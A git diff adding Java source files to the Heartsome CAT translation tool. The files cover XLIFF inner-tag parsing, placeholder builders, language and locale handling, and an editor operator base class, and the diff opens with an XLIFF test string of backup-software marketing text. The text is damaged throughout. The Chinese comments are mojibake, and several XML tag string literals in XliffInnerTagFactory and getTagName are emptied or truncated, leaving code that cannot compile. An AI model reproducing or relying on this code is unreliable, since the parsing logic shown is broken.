mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> Secure my files from hackers and identity thieves<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> Uses 128-bit SSL encryption during the backup process of your files and 448-bit<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> Blowfish encryption while they are in storage, keeping your private data safe from<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> cybercriminals<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> Conveniently access the digital files via the Internet<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> With web access from anywhere, you can restore your files from any PC that has high-speed<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> Internet service<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> Have changes to original files automatically found and updated in the backed up<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> set<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> Detects and saves every change and updates archived copy, giving you an always updated<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> backup<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> Back up my Outlook files<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> Saves copies of all your Outlook email and contacts automatically<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> Have back up copies made whether the files are open or locked<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> Makes backup copies of your files whether they're open and being worked on or locked<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk>]]&gt;<mrk mtype="protected">&lt;/Description&gt;</mrk>"; + TmxInnerTagParser parser = new TmxInnerTagParser(); + System.out.println(parser.getTmxPureText(text)); + + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/DefaultPlaceHolderBuilder.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/DefaultPlaceHolderBuilder.java new file mode 100644 index 0000000..04ab8d3 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/DefaultPlaceHolderBuilder.java @@ -0,0 +1,17 @@ +package net.heartsome.cat.common.innertag.factory; + +import java.util.List; + +import net.heartsome.cat.common.innertag.InnerTagBean; + +public class DefaultPlaceHolderBuilder implements IPlaceHolderBuilder { + + public String getPlaceHolder(List innerTagBeans, int index) { + return ""; + } + + public int getIndex(List innerTagBeans, String placeHolder) { + return -1; + } + +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/IInnerTagFactory.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/IInnerTagFactory.java new file mode 100644 index 0000000..3282119 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/IInnerTagFactory.java @@ -0,0 +1,37 @@ +package net.heartsome.cat.common.innertag.factory; + +import java.util.List; + +import net.heartsome.cat.common.innertag.InnerTagBean; + +/** + * å†…éƒ¨æ ‡è®°å·¥åŽ‚æŽ¥å£ + * @author weachy + * @version + * @since JDK1.5 + */ +public interface IInnerTagFactory { + + /** + * 解æžå†…部标记 + * @param xml + * ; + */ + String parseInnerTag(String xml); + + /** + * 得到æå–内部标记之åŽçš„剩余文本。 + * @return æå–内部标记之åŽçš„剩余文本; + */ + String getText(); + + /** + * 得到内部标记实体集åˆ
+ *
+ * 用法:使用 {@link #getText()} 得到æå–标记åŽçš„剩余文本,包å«å ä½ç¬¦ã€‚
+ * å ä½ç¬¦æ˜¯ç”± {@link IPlaceHolderBuilder} 接å£çš„实现类创建。 + * @return 内部标记实体集åˆã€‚ + */ + List getInnerTagBeans(); + +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/IPlaceHolderBuilder.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/IPlaceHolderBuilder.java new file mode 100644 index 0000000..3982bfe --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/IPlaceHolderBuilder.java @@ -0,0 +1,28 @@ +package net.heartsome.cat.common.innertag.factory; + +import java.util.List; + +import net.heartsome.cat.common.innertag.InnerTagBean; + +public interface IPlaceHolderBuilder { + + /** + * 得到内部标记的å ä½ç¬¦ã€‚ + * @param innerTagBeans + * å†…éƒ¨æ ‡è®°é›†åˆ + * @param index + * 当å‰æ ‡è®°æ‰€åœ¨ç´¢å¼• + * @return 内部标记å ä½ç¬¦; + */ + String getPlaceHolder(List innerTagBeans, int index); + + /** + * æ ¹æ®å†…部标记å ä½ç¬¦å¾—到该内部标记在标记集åˆä¸­çš„索引 + * @param innerTagBeans + * å†…éƒ¨æ ‡è®°é›†åˆ + * @param placeHolder + * 内部标记å ä½ç¬¦ + * @return 索引; + */ + int getIndex(List innerTagBeans, String placeHolder); +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/PlaceHolderEditModeBuilder.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/PlaceHolderEditModeBuilder.java new file mode 100644 index 0000000..5658f47 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/PlaceHolderEditModeBuilder.java @@ -0,0 +1,59 @@ +package net.heartsome.cat.common.innertag.factory; + +import java.util.List; +import java.util.regex.Pattern; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.util.UnicodeConverter; + +public class PlaceHolderEditModeBuilder implements IPlaceHolderBuilder { + + /** Unicode å‰ç¼€ */ + private static final String UNICODE_PREFIX = "\\ua0"; + + /** 最å°èŒƒå›´ */ + public static final char MIN = '\ua000'; + + /** 最大范围 */ + public static final char MAX = '\ua099'; + + /** å†…éƒ¨æ ‡è®°æ­£åˆ™è¡¨è¾¾å¼ */ + public static final Pattern PATTERN = Pattern.compile("[" + MIN + "-" + MAX + "]"); + + /** + * ç”±å ä½ç¬¦å¾—到索引 + * @param innerTagBeans + * æ­¤å‚æ•°å¯å¿½ç•¥ï¼ˆnull)。 + * @param placeHolder + * å ä½ç¬¦ + * @return 索引; + */ + public int getIndex(List innerTagBeans, String placeHolder) { + String text = UnicodeConverter.convert(placeHolder); + if (text.length() == 6) { + try { + return Integer.parseInt(text.substring(4, 6), 16); + } catch (NumberFormatException e) { + return -1; + } + } + return -1; + } + + /** + * æ ¹æ®ç´¢å¼•å¾—到å ä½ç¬¦ + * @param innerTagBeans + * æ­¤å‚æ•°å¯å¿½ç•¥ï¼ˆnull)。 + * @param index + * 索引 + * @return å ä½ç¬¦; + */ + public String getPlaceHolder(List innerTagBeans, int index) { + String hexString = Integer.toHexString(index); + if (hexString.length() == 1) { + hexString = "0" + hexString; + } + String placeHolderString = UNICODE_PREFIX + hexString; + return UnicodeConverter.revert(placeHolderString); + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/TmxInnerTagFactory.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/TmxInnerTagFactory.java new file mode 100644 index 0000000..c11d221 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/TmxInnerTagFactory.java @@ -0,0 +1,20 @@ +package net.heartsome.cat.common.innertag.factory; + +import java.util.List; + +import net.heartsome.cat.common.innertag.InnerTagBean; + +public class TmxInnerTagFactory implements IInnerTagFactory { + + public List getInnerTagBeans() { + return null; + } + + public String getText() { + return null; + } + + public String parseInnerTag(String xml) { + return null; + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/XliffInnerTagFactory.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/XliffInnerTagFactory.java new file mode 100644 index 0000000..b40933b --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/factory/XliffInnerTagFactory.java @@ -0,0 +1,291 @@ +package net.heartsome.cat.common.innertag.factory; + +import static net.heartsome.cat.common.innertag.TagType.END; +import static net.heartsome.cat.common.innertag.TagType.STANDALONE; +import static net.heartsome.cat.common.innertag.TagType.START; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Stack; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.TagStyle; +import net.heartsome.cat.common.innertag.TagType; + +public class XliffInnerTagFactory implements IInnerTagFactory { + private static final List standaloneTags = Arrays.asList("x", "bx", "ex", "ph"); + + private static final List normalTags = Arrays.asList("g", "bpt", "ept", "ph", "it", "mrk", "sub"); + + private ArrayList beans = new ArrayList(); + + private String text; + + private IPlaceHolderBuilder placeHolderCreater; + + private Stack indexStack = new Stack(); // ç´¢å¼•é›†åˆ + + private int start = -1; + + private int maxIndex = 0; + + private boolean HasStartTag = false; + + /** + * 内部标记工厂默认实现 + * @param xml + * XML文本 + */ + public XliffInnerTagFactory(String xml) { + this(xml, new DefaultPlaceHolderBuilder()); + } + + /** + * 内部标记工厂默认实现 + * @param placeHolderCreater + * å ä½ç¬¦åˆ›å»ºå™¨ + */ + public XliffInnerTagFactory(IPlaceHolderBuilder placeHolderCreater) { + this(null, placeHolderCreater); + } + + /** + * 内部标记工厂默认实现 + * @param xml + * XML文本 + * @param placeHolderCreater + * å ä½ç¬¦åˆ›å»ºå™¨ + */ + public XliffInnerTagFactory(String xml, IPlaceHolderBuilder placeHolderCreater) { + this.placeHolderCreater = placeHolderCreater; + this.text = parseInnerTag(xml); + } + + public void reset() { + beans.clear(); + text = null; + indexStack.clear(); // ç´¢å¼•é›†åˆ + + start = -1; + maxIndex = 0; + HasStartTag = false; + targetFlg = false; + } + + public String getText() { + return text; + } + + public List getInnerTagBeans() { + ArrayList innerTagBeans = new ArrayList(); + innerTagBeans.addAll(beans); + return innerTagBeans; + } + + private boolean targetFlg = false; + public String parseInnerTag(String xml, boolean isEditMode) { + + if (xml == null || xml.length() == 0) { + return ""; + } + if (!indexStack.empty()) { + indexStack.clear(); + } + + StringBuffer sbOriginalValue = new StringBuffer(xml); + + int beanSize = beans.size(); + this.start = -1; // 起始索引 + if (beans.size() > 0) { + targetFlg = true; + int index = -1; + for (int i = 0; i < beans.size(); i++) { + InnerTagBean bean = beans.get(i); + if (bean.getType() != TagType.STANDALONE) { + continue; + } + String content = bean.getContent(); + index = sbOriginalValue.indexOf(content); + if (index > -1 && (isEditMode || TagStyle.curStyle != TagStyle.FULL)) { + String placeHolder = placeHolderCreater.getPlaceHolder(beans, i); + if(sbOriginalValue.indexOf(placeHolder) != -1){ + // Bug #3044 ä¸èƒ½æ­£ç¡®æ˜¾ç¤ºæ’入的标记 + // å·²ç»å­˜åœ¨ï¼Œè¯´æ˜Žè¿™ä¸ªæ ‡è®°åœ¨è¯‘文中是é‡å¤çš„。 + continue; + } + sbOriginalValue.replace(index, index + content.length(), placeHolder); + } else if (TagStyle.curStyle == TagStyle.FULL) { + this.start = index + content.length(); + } + } + beanSize = beans.size(); + } else { + beanSize = -1; + } + + while ((start = sbOriginalValue.indexOf("<", start + 1)) > -1) { + int end = sbOriginalValue.indexOf(">", start + 1); + if (end > -1) { + String xmlTag = sbOriginalValue.substring(start, end + 1); // æå–出的内部标记xmlå½¢å¼çš„文本 + String tagName = getTagName(xmlTag); + + sbOriginalValue.replace(start, end + 1, xmlTag); + if (xmlTag.indexOf("/>", 1) > -1) { // 独立标签 + if (standaloneTags.contains(tagName) || normalTags.contains(tagName)) { + if ("bx".equals(tagName)) { + addInnerTagBean(START, sbOriginalValue, xmlTag, tagName); + } else if ("ex".equals(tagName)) { + addInnerTagBean(END, sbOriginalValue, xmlTag, tagName); + } else { + addInnerTagBean(STANDALONE, sbOriginalValue, xmlTag, tagName); + } + } + } else if (xmlTag.indexOf(" -1) { // 结æŸæ ‡ç­¾ + if (normalTags.contains(tagName)) { + addInnerTagBean(END, sbOriginalValue, xmlTag, tagName); + } + } else if (xmlTag.indexOf(">") > -1) { // 开始标签 + if (normalTags.contains(tagName)) { + if ("bpt".equals(tagName)) { + int endIndex = sbOriginalValue.indexOf("", start) + "".length(); + xmlTag = sbOriginalValue.substring(start, endIndex); + sbOriginalValue.replace(start, endIndex, xmlTag); + addInnerTagBean(START, sbOriginalValue, xmlTag, tagName); + } else if ("ept".equals(tagName)) { + int endIndex = sbOriginalValue.indexOf("", start) + "".length(); + xmlTag = sbOriginalValue.substring(start, endIndex); + sbOriginalValue.replace(start, endIndex, xmlTag); + addInnerTagBean(END, sbOriginalValue, xmlTag, tagName); + } else if ("ph".equals(tagName) || "it".equals(tagName)) { + String tempTagName = ""; + int endIndex = sbOriginalValue.indexOf(tempTagName, start) + tempTagName.length(); + xmlTag = sbOriginalValue.substring(start, endIndex); + sbOriginalValue.replace(start, endIndex, xmlTag); + addInnerTagBean(STANDALONE, sbOriginalValue, xmlTag, tagName); + } else { + addInnerTagBean(START, sbOriginalValue, xmlTag, tagName); + } + } + } + } + } + + if (beanSize > 0) { // 设置为错误标记 + for (int i = beanSize; i < beans.size(); i++) { + beans.get(i).setWrongTag(true); + } + } + targetFlg = false; + return sbOriginalValue.toString(); + + } + + /** + * 将带内部标记的文本由XMLæ ¼å¼è½¬æ¢ä¸ºæ˜¾ç¤ºæ ¼å¼çš„文本 + * @param xml + * 原始的带内部标记的XMLæ ¼å¼çš„文本 + * @return ; + */ + public String parseInnerTag(String xml) { + return parseInnerTag(xml, false); + } + + boolean exist = false; + + /** + * @param tagType + * @param text + * @param tagContent + * @param tagName + * ; + */ + private void addInnerTagBean(TagType tagType, StringBuffer text, String tagContent, String tagName) { + /* 在文本中æ’入索引 */ + int index = -1; + if (tagType == START) { + HasStartTag = true; + if(targetFlg){ + for (int i = 0; i < beans.size(); ++i) { + InnerTagBean bean = beans.get(i); + if (bean.getType() != TagType.START) { + continue; + } + if (bean.getContent().equals(tagContent)) { + String placeHolder = placeHolderCreater.getPlaceHolder(beans, i); + if(text.indexOf(placeHolder) != -1){ + // å·²ç»å­˜åœ¨ï¼Œç»§ç»­å¯»æ‰¾ã€‚ + continue; + } + text.replace(start, start + tagContent.length(), placeHolder); + indexStack.push(bean.getIndex()); + exist = true; + return; + } + } + } + maxIndex++; + indexStack.push(maxIndex); + index = maxIndex; + } else if (tagType == END) { + if (!HasStartTag) { + maxIndex++; + indexStack.push(maxIndex); + } + HasStartTag = false; + if (!indexStack.empty()) { + index = indexStack.pop(); + if (exist && targetFlg) { + for (int i = 0; i < beans.size(); ++i) { + InnerTagBean bean = beans.get(i); + if (bean.getIndex() == index && bean.getType() == TagType.END) { + String placeHolder = placeHolderCreater.getPlaceHolder(beans, i); + text.replace(start, start + tagContent.length(), placeHolder); + if (!indexStack.isEmpty()) { + HasStartTag = true; + } + return; + } + } + } + } + if (!indexStack.isEmpty()) { + HasStartTag = true; + } + } else if (tagType == STANDALONE) { + maxIndex++; + index = maxIndex; + } + + if (index > -1) { + InnerTagBean bean = new InnerTagBean(index, tagName, tagContent, tagType); + beans.add(bean); + + String placeHolder = placeHolderCreater.getPlaceHolder(beans, beans.size() - 1); + text.replace(start, start + tagContent.length(), placeHolder); + // 显示完整标记时,start è®¡ç®—é”™è¯¯ï¼Œå› æ­¤æ·»åŠ ä¸‹è¡Œè¯­å¥ + start += placeHolder.length() - 1; + } + } + + /** + * 得到标记的å称 + * @param xmlTag + * XMLæ ¼å¼çš„标记 + * @return 标记å称; + */ + private String getTagName(String xmlTag) { + if (xmlTag.indexOf(" -1) { // 结æŸæ ‡è®° + return xmlTag.substring(2, xmlTag.length() - 1); + } + int end = xmlTag.indexOf("/>", 1); // 独立标记 + if (end == -1) { + end = xmlTag.length() - 1; // 开始标记 + } + int tempIndex = xmlTag.indexOf(" ", 1); + if (tempIndex > -1 && tempIndex < end) { + end = tempIndex; + } + return xmlTag.substring(1, end); + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/locale/Language.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/locale/Language.java new file mode 100644 index 0000000..f9b5ef6 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/locale/Language.java @@ -0,0 +1,119 @@ +package net.heartsome.cat.common.locale; + +import java.util.Locale; + +/** + * 标识为æ¯ä¸€ä¸ªè¯­è¨€è®¾ç½®å®žä½“ + * @author cheney + * @since JDK1.6 + */ +public class Language { + + // è¯­è¨€ä»£ç  + private String code; + + // 语言å称 + private String name; + + // 语言图标 + private String imagePath; + + // 是å¦åŒå‘ + private boolean bidi; + + // 此语言对应的 locale + private Locale locale; + + public Language(String code, String name, String imagePath, boolean bidi) { + this.code = code; + this.name = name; + this.bidi = bidi; + this.imagePath = imagePath; + } + + /** + * è¯­è¨€ä»£ç  + * @return 语言代ç ; + */ + public String getCode() { + return code; + } + + /** + * è¯­è¨€ä»£ç  + * @param code + * ; + */ + public void setCode(String code) { + this.code = code; + } + + /** + * 语言å称 + * @return 语言å称; + */ + public String getName() { + return name; + } + + /** + * 语言å称 + * @param name + * ; + */ + public void setName(String name) { + this.name = name; + } + + /** @return the imagePath */ + public String getImagePath() { + return imagePath; + } + + /** + * @param imagePath + * the imagePath to set + */ + public void setImagePath(String imagePath) { + this.imagePath = imagePath; + } + + /** + * 是å¦åŒå‘ + * @return 是åŒå‘则返回 true,å¦åˆ™è¿”回 false; + */ + public boolean isBidi() { + return bidi; + } + + /** + * 是å¦åŒå‘ + * @param bidi + * 是则为 true,å¦åˆ™ä¸º false; + */ + public void setBidi(boolean bidi) { + this.bidi = bidi; + } + + /** + * 返回此语言代ç å¯¹åº”çš„ locale + * @return ; + */ + public Locale getLocale() { + if (locale == null) { + locale = new Locale(code); + } + return locale; + } + + /** + * 这个方法的改动,会影å“{@link TextUtil}的很多关于语言的方法,注æ„. robert + */ + @Override + public String toString() { +// return new StringBuffer(code).append(" ").append(name).toString(); + // 修改BUG 2766 robert 2012-12-20 + return new StringBuffer(name).append(" ").append(code).toString(); + } + +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/locale/LocaleService.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/locale/LocaleService.java new file mode 100644 index 0000000..3e61f0d --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/locale/LocaleService.java @@ -0,0 +1,298 @@ +package net.heartsome.cat.common.locale; + +import java.io.BufferedReader; +import java.io.FileNotFoundException; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.nio.charset.Charset; +import java.util.Iterator; +import java.util.Map; +import java.util.Set; +import java.util.TreeMap; +import java.util.Vector; + +import net.heartsome.cat.common.core.CoreActivator; +import net.heartsome.cat.common.file.LanguageConfiger; + +/** + * 对语言ã€å›½å®¶/区域ã€å­—符集进行æ“作的方法定义 + * @author cheney + * @since JDK1.6 + */ +public final class LocaleService { + + private static String[] pageCodes; + + private static Map defaultLanguage; + + private static LanguageConfiger langConfiger = new LanguageConfiger(); + + private LocaleService() { + // 防止此类被实例化 + } + + /** + * 获å–语言é…置对象 + * @return ; + */ + public static LanguageConfiger getLanguageConfiger(){ + if(langConfiger == null){ + langConfiger = new LanguageConfiger(); + } + return langConfiger; + } + + /** + * Java å¹³å°æ”¯æŒçš„字符集å称 + * @return Java å¹³å°æ”¯æŒçš„字符集å称; + */ + public static String[] getPageCodes() { + if (pageCodes == null) { + TreeMap charsets = new TreeMap(Charset.availableCharsets()); + Set keys = charsets.keySet(); + String[] pageCodes = new String[keys.size()]; + + Iterator i = keys.iterator(); + int j = 0; + while (i.hasNext()) { + Charset cset = charsets.get(i.next()); + pageCodes[j++] = cset.displayName(); + } + LocaleService.pageCodes = pageCodes; + } + return pageCodes; + } + + /** + * å¹³å°ï¼ˆHS 应用)支æŒçš„语言集的å称 + * @return å¹³å°ï¼ˆHS 应用)支æŒçš„语言集的代ç å称; + */ + public static String[] getLanguageCodes() { + Map languageMap = getDefaultLanguage(); + int size = languageMap.keySet().size(); + String[] result = new String[size]; + return languageMap.keySet().toArray(result); + } + + /** + * å¹³å°ï¼ˆHS 应用)支æŒçš„语言集的å称 + * @return å¹³å°ï¼ˆHS 应用)支æŒçš„语言集的代ç å称; + */ + public static String[] getLanguages() { + Map languageMap = getDefaultLanguage(); + int size = languageMap.keySet().size(); + String[] result = new String[size]; + TreeMap tree = new TreeMap(languageMap); + int i = 0; + for (Language language : tree.values()) { + result[i++] = getLanguageDisplayString(language); + } + return result; + } + + /** + * 得到该语言用于显示的字符串格å¼ã€‚
+ * 例如:zh-CN Chinese(People's Republic) + * @param language + * @return ; + */ + private static String getLanguageDisplayString(Language language) { + if (language == null) { + return ""; + } + return language.getCode() + " " + language.getName(); + } + + /** + * 解æžè¯­è¨€ä»£ç  xml 文件,如果解æžå¤±è´¥ï¼Œåˆ™è¿”回空 map + * @param isBidi + * true å³æ ‡è¯† xml 文件中有 bidi 属性,以åŠè¿”回 codeã€bidi 对应的 mapï¼›å¦åˆ™è¿”回 codeã€è¯­è¨€å称对应的 map + * @return æ ¹æ® isBidi 标识,返回相应的 map; + */ + private static Map getLanguageConfiguration() { + if(langConfiger == null){ + langConfiger = new LanguageConfiger(); + } + return langConfiger.getAllLanguage(); + } + + /** + * 把以文件形å¼å­˜å‚¨çš„语言代ç è½¬æ¢æˆå­—ç¬¦ä¸²çš„å½¢å¼ + * @return ; + */ + public static String getLanguageConfigAsString() { + StringBuffer result = new StringBuffer(); + InputStream is = CoreActivator.getConfigurationFileInputStream(CoreActivator.LANGUAGE_CODE_PATH); + try { + BufferedReader reader = new BufferedReader(new InputStreamReader(is)); + String line; + while ((line = reader.readLine()) != null) { + result.append(line); + result.append("\n"); + } + reader.close(); + // 默认的语言代ç æ–‡ä»¶æ˜¯è·Ÿæ’件打包在一起的,ä¸ä¼šå‡ºçŽ°è¯»å–文件失败的问题,所以在此忽略相关异常 + } catch (FileNotFoundException e) { + // 忽略此异常 + e.printStackTrace(); + } catch (IOException e) { + // 忽略此异常 + e.printStackTrace(); + } + return result.toString(); + } + + /** + * å¾—åˆ°è¯­è¨€ä»£ç  + * @param language + * 语言 + * @return 语言代ç ï¼Œå¦‚果没有此代ç ï¼Œåˆ™è¿”回空字符串; + */ + public static String getLanguageCodeByLanguage(String language) { + String result = ""; + if (language == null) { + return result; + } + language = language.trim(); + if (language.equals("")) { + return result; + } + int index = language.indexOf(" "); + if (index > -1) { + return language.substring(0, index); + } + return result; + } + + /** + * 得到语言å称 + * @param language + * 语言 + * @return 语言å称,如果没有此å称,则返回空字符串; + */ + public static String getLanguageNameByLanguage(String language) { + String result = ""; + if (language == null) { + return result; + } + language = language.trim(); + if (language.equals("")) { + return result; + } + int index = language.indexOf(" "); + if (index > -1) { + return language.substring(index + 1); + } + return result; + } + + /** + * æ ¹æ®è¯­è¨€ä»£ç å¾—到æŸç§è¯­è¨€ + * @param LanguageCode + * è¯­è¨€ä»£ç  + * @return 语言,如果没有此语言,则返回空字符串; + */ + public static String getLanguage(String LanguageCode) { + String result = ""; + if (LanguageCode == null) { + return result; + } + + Map languageMap = getDefaultLanguage(); + Language language = languageMap.get(LanguageCode); + return getLanguageDisplayString(language); + } + + /** + * @param languageName + * 语言å称 + * @return 语言å称对应的语言代ç ï¼Œå¦‚果没有此å称对应的代ç ï¼Œåˆ™è¿”回空字符串; + */ + public static String getLanguageCode(String languageName) { + String result = ""; + if (languageName == null) { + return result; + } + Map languageMap = getDefaultLanguage(); + Set keySet = languageMap.keySet(); + for (Iterator iterator = keySet.iterator(); iterator.hasNext();) { + String key = iterator.next(); + Language language = languageMap.get(key); + if (languageName.equals(language.getName())) { + result = key; + } + } + return result; + } + + /** + * @param languageCode + * è¯­è¨€ä»£ç  + * @return 语言代ç å¯¹åº”çš„å称,如果没有此代ç å¯¹åº”çš„å称,则返回空字符串; + */ + public static String getLanguageName(String languageCode) { + String result = ""; + if (languageCode == null || languageCode.trim().equals("")) { + return result; + } + Map languageMap = getDefaultLanguage(); + if (languageMap.containsKey(languageCode)) { + result = languageMap.get(languageCode).getName(); + } + return result; + } + + /** + * 支æŒåŒå‘的语言集 + * @return 返回支æŒåŒå‘的语言集; + */ + public static String[] getBidirectionalLangs() { + return new String[0]; + } + + /** + * @param country + * å›½å®¶ä»£ç  + * @return 国家代ç å¯¹åº”的国家å称; + */ + public static String getCountryName(String country) { + return ""; + } + + /** + * ISO 639 中定义的语言å称 + * @param languageCode + * è¯­è¨€ä»£ç  + * @return 返回 ISO 639 中定义的语言å称; + */ + public static String getISO639(String languageCode) { + return ""; + } + + /** + * 默认或用户更新设置åŽçš„语言 Map + * @return 返回默认或用户更新设置åŽçš„语言 Map; + */ + public static Map getDefaultLanguage() { + if (defaultLanguage == null) { + defaultLanguage = getLanguageConfiguration(); + } + return defaultLanguage; + } + + /** + * 验è¯é›†åˆä¸­çš„字符串是å¦ä¸ºè¯­è¨€ä»£ç  + * @param languages + * @return ; + */ + public static boolean verifyLanguages(Vector languages) { + Map languageMap = getDefaultLanguage(); + for (String langCode : languages) { + if (!languageMap.containsKey(langCode)) { + return false; + } + } + return true; + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/operator/AbstractOperator.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/operator/AbstractOperator.java new file mode 100644 index 0000000..033a865 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/operator/AbstractOperator.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.common.operator; + +import java.util.Map; + +public abstract class AbstractOperator { + public abstract void undo(); + + public abstract void redo(); + + public abstract void exit(); + + public abstract void setDocumentProperties(Map props); + + public abstract Map getDocumentProperties(); + + public abstract void cut(); + + public abstract void copy(); + + public abstract void paste(); + + + + +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/resources/ResourceUtils.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/resources/ResourceUtils.java new file mode 100644 index 0000000..72f04b4 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/resources/ResourceUtils.java @@ -0,0 +1,220 @@ +package net.heartsome.cat.common.resources; + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.util.CommonFunction; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IFolder; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.Path; 